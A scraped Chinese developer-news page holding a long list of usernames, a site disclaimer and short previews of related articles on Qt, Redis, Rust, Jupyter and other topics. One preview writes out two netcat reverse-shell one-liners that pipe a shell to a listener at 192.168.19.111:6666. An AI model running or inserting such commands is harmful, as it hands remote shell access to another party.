  • 一人一猫浪迹天涯
  • 温糯米
  • 穆迪老师
  • 一滴血的记忆
  • 好奇宝宝打脸怪
  • 谢艺馨
  • Lucy-露西娅
  • 淡庸
  • Manting
  • 西天取经路遥迢
  • 型爷
  • 诗无忌
  • Luca_Lu
  • xsvipx4869
  • Rachel瑞小秋
  • Damon
  • 尘箬芳桦
  • 达欣欣
  • 东予薏米
  • 罗元裳
  • 麓雍
  • 黄鱼冻
  • 早鸟
  • 江仕蕾
  • 王金龙花柒
  • 咸鱼豆腐
  • LearningandStudy
  • 幸福暗恋我
  • 冰镐供应商
  • 克莱儿儿儿
  • quant林
  • 梦里看花a
  • 华亿
  • 司徒夜
  • Gnocchiiii
  • 心理咨询师林博宇
  • 3菲菲
  • andyyah
  • 明日座头鲸
  • 曼仔呀
  • 不吐槽会死星人i
  • 燕山美发
  • 央企小老头
  • 跑马溜溜
  • Ming小然
  • 一朵云从平流层坠下
  • 何钦尧
  • 吃肉的梅小姐
  • 每天一个收货
  • 王谭
  • 陈村
  • 埃斯蓬托的篡位者
  • 俯卧撑菜鸟
  • 怪怪的Mogeko
  • 最上川灵感大王
  • qq_48582659
  • noah642
  • 人and人
  • m0_64601486
  • Yorium
  • 2301_80668056
  • 好588
  • RyFooX
  • 2301_76448989
  • 用户昵称已存在……错误……
  • itwebber
  • 林闽琦
  • wxd86d5613e425e18b
  • 2301_80071268
  • 2301_76403620
  • 2301_81011043
  • 2301_81013940
  • 2301_80383138
  • weixin_46615692
  • 微软技术分享
  • 黔台老酒坊
  • 小瓮同学
  • 灵魂机器
  • 耀怡
  • baskice
  • longyang0917
  • 啃老师
  • 有伱真好
  • 罗俊(顺义PICC)
  • 刘为龙
  • 馋包包我们走
  • 葛店小学张洪雨
  • 发现者号
  • biu~
  • FUUFK
  • m0_67598909
  • 南小吕
  • m0_61393398
  • ShAn
  • .
  • weixin_39505051
  • 借我一把金太刀
  • 不会飞的鹰08
  • qq_64694880
  • weixin_47898112
  • qq_45292756
  • 希出崖涘
  • 20240901
  • GALAXY
  • Lllixy%
  • m0_70563695
  • m0_74282103
  • 2301_77131751
  • MasterZerα
  • m0_61098022
  • qq_48962699
  • weixin_51793392
  • CSDN_alearner
  • 2301_80044454
  • Cyber_D
  • 沈聪祥
  • weixin_40376578
  • weixin_48071367
  • Jiang_Immortals
  • weixin_45392838
  • 和光-ycl
  • 长沙何书桓
  • m0_59123733
  • 古月氵
  • 阳光一直都在
  • iohgy
  • 2301_76764655
  • oooqoyooo
  • lspppppp
  • 褪色的,记忆
  • 探索者_SHU
  • jackey0135
  • th1157828416
  • qq_46311760
  • 真命天子xy
  • ,。,。,。770
  • yupo555
  • chun_yin
  • Leo
  • idea-second
  • dsqykf
  • Messi20145102
  • weixin_44953803
  • AriSan_XD
  • YWSFFJ
  • weixin_38912254
  • thepolest
  • weixin_46378822
  • ?Endless??
  • 王早起Mornings
  • weixin_40328981
  • kerwin666666
  • 穆如清风-
  • weixin_45676656
  • 叫牛奶的特仑苏
  • 2301_78036593
  • 2301_79547616
  • ll489
  • z726218y
  • HUCONcong
  • Sakura20201017
  • Idie_
  • m0_69349550
  • RS+DLer
  • Antisocial
  • m405230843
  • 鱼-qq
  • hamzsy
  • I123456T
  • weixin_45526931
  • 像风像雾又像雨6
  • qq_36497656
  • 憨化龙猫
  • 白小岩
  • TobetterMan
  • Brain
  • sa16225447_aasdf
  • weixin_48030023
  • m0_66285644
  • 129beer
  • python_dizhongdi
  • 2301_79442945
  • 梦想变成光
  • 浩浩是我阿
  • a2233883
  • 飞凡850
  • luojing913
  • weixin_39750622
  • 偏爱中国红
  • DemonHunter211
  • paperxxx
  • zuojunming0600
  • wink537
  • u010544479
  • 小赵啊。嗯哼
  • weixin_44218547
  • 可乐小超人
  • 211统计
  • 黎罹
  • 巨量HTTP
  • 一只快乐的小龟
  • m0_70472418
  • 高祺
  • m0_74060374
  • 2301_79349731
  • qq_39169688
  • 刘635
  • wlwlwl0511
  • 野心未泯
  • weixin_48511181
  • poptar
  • Cape0915
  • qq_16068833
  • lycdc_z
  • byhehe
  • 懒-洋洋
  • ghjud
  • 语音识别_小白
  • 桦曳
  • qq_36722565
  • 211统计课堂
  • 充电君
  • h15728721597
  • qq_35154867
  • 鲸云夕陌
  • lobster.
  • 胖鸽
  • qq_51644107
  • 极客曰报
  • oceanao
  • m0_69876149
  • 2301_79201558
  • 我就笑吧728
  • 醴碘
  • 大金Mrking
  • CN930804
  • 日向小太阳
  • weixin_54669750
  • weixin_40701906
  • iso230
  • 2301_76718493
  • satellite7
  • m0_68703686
  • m0_63268594
  • 随风56
  • qq_34029746
  • 宝贝今晚想吃啥
  • slc18698726058
  • 咚咚锵的小波波
  • zz_comeon
  • wfshan06
  • 弈诚
  • 毛毛
  • mbwlhf666
  • ai__xiaoyang
  • skyvoice2
  • 二七学长
  • Strawberrer
  • weixin_54896532
  • 华为OD面试指南
  • 叶庭云
  • xydlovecjj
  • qq_40412114
  • Yuyang7372
  • 灰格
  • wude111
  • weixin_45428949
  • Yanzhenjinghan_
  • Charlie_1541
  • satday725
  • fuwy
  • 2301_76386433
  • Curtain?(o^^o)?
  • weixin_47520923
  • qq_57626668
  • m0_55989410
  • a1780335808
  • zzc2323
  • Pandaser
  • xyvybun
  • 颜肆陆
  • 山月记469
  • c_s_____d_n
  • a1205683
  • 快乐晓笑98
  • li53957741
  • 小武落泪
  • zou_jian_
  • 刘建杰
  • 麻烦指证批评
  • weixin_41756759
  • 叶尖上跳跃
  • zrr12620
  • everylovebc
  • 20250401
  • qq_41411881
  • m0_73519261
  • 陆臣杰
  • 朽木莲
  • 尘埃里的月光
  • chenfulong005
  • m0_37680878
  • 笨小孩Qu
  • xyz9527xyz
  • kidmix
  • weixin_44829335
  • 夏701
  • zkk9390
  • wudehua55555
  • 陈嘉嘉嘉嘉
  • m0_38065375
  • m0_46178874
  • LYB_383409060
  • YANYAOHUI_
  • weixin_46067110
  • l66624766
  • 编程大狮
  • Katherine_19
  • 2201_75836058
  • m0_61916878
  • Nanxious_Leo
  • txfTrap
  • sinat_23581595
  • 求学80后
  • 魔力矩阵
  • nana_lhan
  • 码码小猿
  • m0_49149738
  • 小头先森
  • starry
  • m0_49217555
  • m0_64335638
  • 啥时开始
  • weixin_69926086
  • 黄开炎
  • Csdsdfa
  • relaxing520
  • aaaaaaaaddd2
  • weixin_57061799
  • pighead_1016
  • 奶茶舒胡蕾
  • qq_43630189
  • m0_69898704
  • babykikii
  • m0_59673911
  • 2301_78564831
  • m0_57230756
  • qq_20754835
  • 我是我儿爹
  • qq_36877641
  • m0_51528231
  • weixin_53774310
  • 依然饭特稀_0574
  • 麦唛
  • weixin_57126192
  • weixin_44542985
  • LZ创
  • 小白abner
  • m0_69859729
  • 春待月九
  • qq_45760142
  • 2301_77334809
  • 宇宙小菜菜
  • QiranMu
  • qq_52184092
  • weixin_68946462
  • 帅帅的单身狗
  • 風火雷
  • btbtmy?
  • CYX441
  • sovelen
  • Philowen
  • 2301_77965635
  • NZGMTCAH
  • m0_71178254
  • l501900
  • JohnWong007
  • m0_70902221
  • cldyg222
  • qq_57897148
  • m0_63740483
  • evil2333
  • WayneBin
  • qq_46663976
  • weixin_46190290
  • chaosDY
  • 不争之德
  • shuxuejianmo314
  • 白白。猫
  • qq_47348533
  • 一枚程序员
  • Benjamin_Young
  • fadedol
  • 棒棒哒小纸盒z
  • IT_baiban
  • weixin_38270019
  • 0Oo�
  • weixin_58616412
  • 2201_75706509
  • gaokeaiya
  • 三窗
  • Gatorade001
  • m0_69453712
  • weixin_46808723
  • MOB2333
  • qq_42114034
  • welkin_lg
  • m0_58448384
  • Energia_Buran
  • axl668
  • weixin_44855103
  • qq_30681957
  • 我随心动
  • 水日之秋
  • 李无趣
  • qq_37510379
  • qq_38057104
  • Hsatr
  • Y~404
  • 图灵软件技术
  • 十螺纹
  • AllenSun34
  • 这个年纪你怎么睡得着的
  • 大约在雨季。
  • 大羊腿
  • 2201_76066153
  • qq_27794783
  • 聂鲁达不哒
  • ncuthmk
  • nvoian
  • SD1way
  • Typhoonn
  • lttzy
  • 2301_77693996
  • jiagang_
  • 布丁_码到成功
  • 别任性
  • m0_70818773
  • let_wang
  • u010181864
  • gt17969
  • hshsjp
  • tmachina
  • a48631685
  • zzerhtd
  • engine_men
  • 2301_77601254
  • qq_45871585
  • 二分法QwQ
  • weixin_48950343
  • Arlene_08
  • Diamond我
  • 寄给你星河
  • Alex
  • Z.Robot
  • comic
  • m0_59457021
  • qq_57218083
  • dawn_breeze_
  • sleepyshaman
  • GLewis
  • 妳っ
  • 杲昃
  • Transient_520
  • angledou
  • 杳冥、
  • 伈刼@
  • qq_34052077
  • Anoxia_Tian
  • m0_67716204
  • relax
  • O氧
  • awnusk
  • 0o圈圈o0爱
  • jin946
  • 再不学就来不及了
  • lwj070117
  • 嗨和嗨
  • lijiejie1
  • KYRIE00
  • 走心371
  • tcyxy123
  • THAST
  • 小猫了
  • xy66_
  • 2301_76672683
  • 咖啡凉了_hy
  • 摆摆渡人
  • wL0NG
  • 四幺
  • 7thheavenWML
  • 狄水云笙
  • 打铁匠Mr_Lee
  • 等你下课ソ
  • Cynthiacircle
  • 天海一直在AI
  • Wbig
  • d⊙▽⊙x
  • qq_42796828
  • NowLoadY
  • weixin_44170459
  • weixin_40352994
  • apinapple
  • Python_15
  • The
  • F0oreVeR
  • 晚椒
  • qq_46010292
  • +vvv
  • 贝塔西塔
  • simonlijili
  • rabbit3691
  • weixin_45202744
  • qq779670222
  • nbmn
  • qa_ws_99
  • A1234587_000
  • qq_38343917
  • 话唠画废
  • ZtLoveWym
  • 五分Q
  • Y199826
  • dyz13
  • hanhanyld
  • 2301_76678729
  • MountVoom
  • agneskan
  • m0_74424405
  • weixin_49078858
  • 假面游魂
  • ChA0s007
  • a646711278
  • Phantom_ruin
  • weixin_45749271
  • qq_53270509
  • Delanncy
  • m0_50111564
  • 扫地僧的扫帚
  • stone_312
  • m0_59039269
  • 慕容飞
  • yishujiayou
  • D.Woodward
  • for?;;?
  • qq_36042424
  • 小张tostring
  • Henderson_X
  • Since_july
  • weixin_49142770
  • sinat_39136647
  • weixin_67033104
  • superliuchun
  • 夏目幸一
  • slide
  • vapnik222
  • WwwhaiXuu
  • Darry00
  • HuMHk
  • mr9725
  • qq_57621558
  • 2301_76608612
  • DeemeDD
  • Bean_3
  • qq_42939186
  • m0_54165145
  • m0_63405099
  • 秃头猿是可可粉
  • La
  • yeyeye37
  • 咕噜Kerwin
  • myccver
  • 酷ky
  • Holy姜姜
  • weixin_46800063
  • 彭彭丫
  • qq_44488613
  • m0_69353409
  • X_Jun005
  • 千君殇
  • 普通网友
  • zz_qq32107
  • ZacharyZzl
  • m0_74935297
  • 优秀木木.
  • 归居于尘°
  • Floraaaa?
  • 无敌番茄酱
  • Mr.利威尔
  • 多尝试多记录多积累
  • 希望_睿智
  • weixin_51440866
  • 一不小心嗑到牙了
  • Fyzqae
  • 炫荡之灵
  • ➹枫丹白露
  • 喝摩卡的狐狸
  • 小糖宝
  • 哈佛215
  • 柏劲松

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826813.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

上位机工作感想-从C#到Qt的转变-1

0.前言 接触Qt开发也有一年多的时间了&#xff0c;还记得去年初从杭州回合肥时&#xff0c;刚来公司面临的几个问题&#xff1a; 1.C#转上位机的迷茫2.新公司管理模式的差异3.试用期的各种紧急任务。 当时也是加班加点学习C和Qt的基础知识&#xff0c;做了两个考核项目后&am…

解决Mac使用Vscode无法调用外部终端

前言 今天遇到一个很奇怪的问题&#xff0c;之前好好的用Vscode还能调用外部终端&#xff0c;怎么今天不行了&#xff1f;问题出在哪里呢&#xff1f;请听我娓娓道来。 检查配置文件 我查看了一下配置文件&#xff0c;发现配置文件都是调用外部控制台&#xff0c;没毛病啊。 …

【AI开发:音频】二、GPT-SoVITS使用方法和过程中出现的问题(GPU版)

1.FileNotFoundError: [Errno 2] No such file or directory: logs/guanshenxxx/2-name2text-0.txt 这个问题中包含了两个&#xff1a; 第一个&#xff1a;No module named pyopenjtalk 我的电脑出现的就是这个 解决&#xff1a;pip install pyopenjtalk 第二个&#xff1a…

快速排序题目SelectK问题(力扣75.颜色分类、力扣215.数组中的第K个最大元素、面试题17.14最小K个数)

力扣75.颜色分类 给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums &#xff0c;原地对它们进行排序&#xff0c;使得相同颜色的元素相邻&#xff0c;并按照红色、白色、蓝色顺序排列。 我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。 必须在不使用库内置的 sor…

从零开始的vscode配置及安装rust教程

配置vscode的rust环境 下载安装vscodemac 环境1. 下载安装rust2. 配置 mac vscode环境3. 创建一个测试项目 windows 环境1. 安装c运行环境2. 安装配置rustup3. 配置windows vscode环境4. 创建一个测试项目 下载安装vscode 1.官网应用程序下载 vscode&#xff1a;https://code.v…

注意力机制中多层的作用

1.多层的作用 在注意力机制中&#xff0c;多层的作用通常指的是将注意力机制堆叠在多个层上&#xff0c;这在深度学习模型中被称为“深度”或“多层”注意力网络。这种多层结构的作用和实现过程如下&#xff1a; 1. **逐层抽象**&#xff1a;每一层都可以捕捉到输入数据的不同…

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境&#xff0c;原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少&#xff0c;又因安装的环境太多&#xff0c;重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中&#xff0c;免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中&#xff0c;免费货物的标准解决方案概览&#xff0c;可先了解本博客博文&#xff1a;SAP销售与分销中的免费货物解决方案相关文章&#xff1a; htt…

Python 全栈安全(一)

原文&#xff1a;annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 多年前&#xff0c;我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一&#xff0c;虽然简单&#xff0c;但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例&#xff0c;并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式&#xff08;此小节为搬运内容&#xff09; 原链接&#xff1a;Design_Compiler User Guide 随手笔记&#xff08;9&#xff09;Using Floorplan Information - 知乎 DC拥有四种工作模式&#xff1a; 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白&#xff1a;怎么为你的网页增加评论功能&#xff1f;&#xff08;一&#xff09;_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道&#xff0c;我们数据库需要准备的字段&#xff1a; id,commentuserName,coomen…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一&#xff0c;与HTML和CSS一同工作&#xff0c;用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性&#xff0c;可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…

总分420+专业140+哈工大哈尔滨工业大学803信号与系统和数字逻辑电路考研电子信息与通信工程,真题,大纲,参考书。

考研复习一路走来&#xff0c;成绩还是令人满意&#xff0c;专业803信号和数电140&#xff0c;总分420&#xff0c;顺利上岸&#xff0c;总结一下自己这一年复习经历&#xff0c;希望大家可以所有参考&#xff0c;这一年复习跌跌拌拌&#xff0c;有时面对压力也会焦虑&#xff…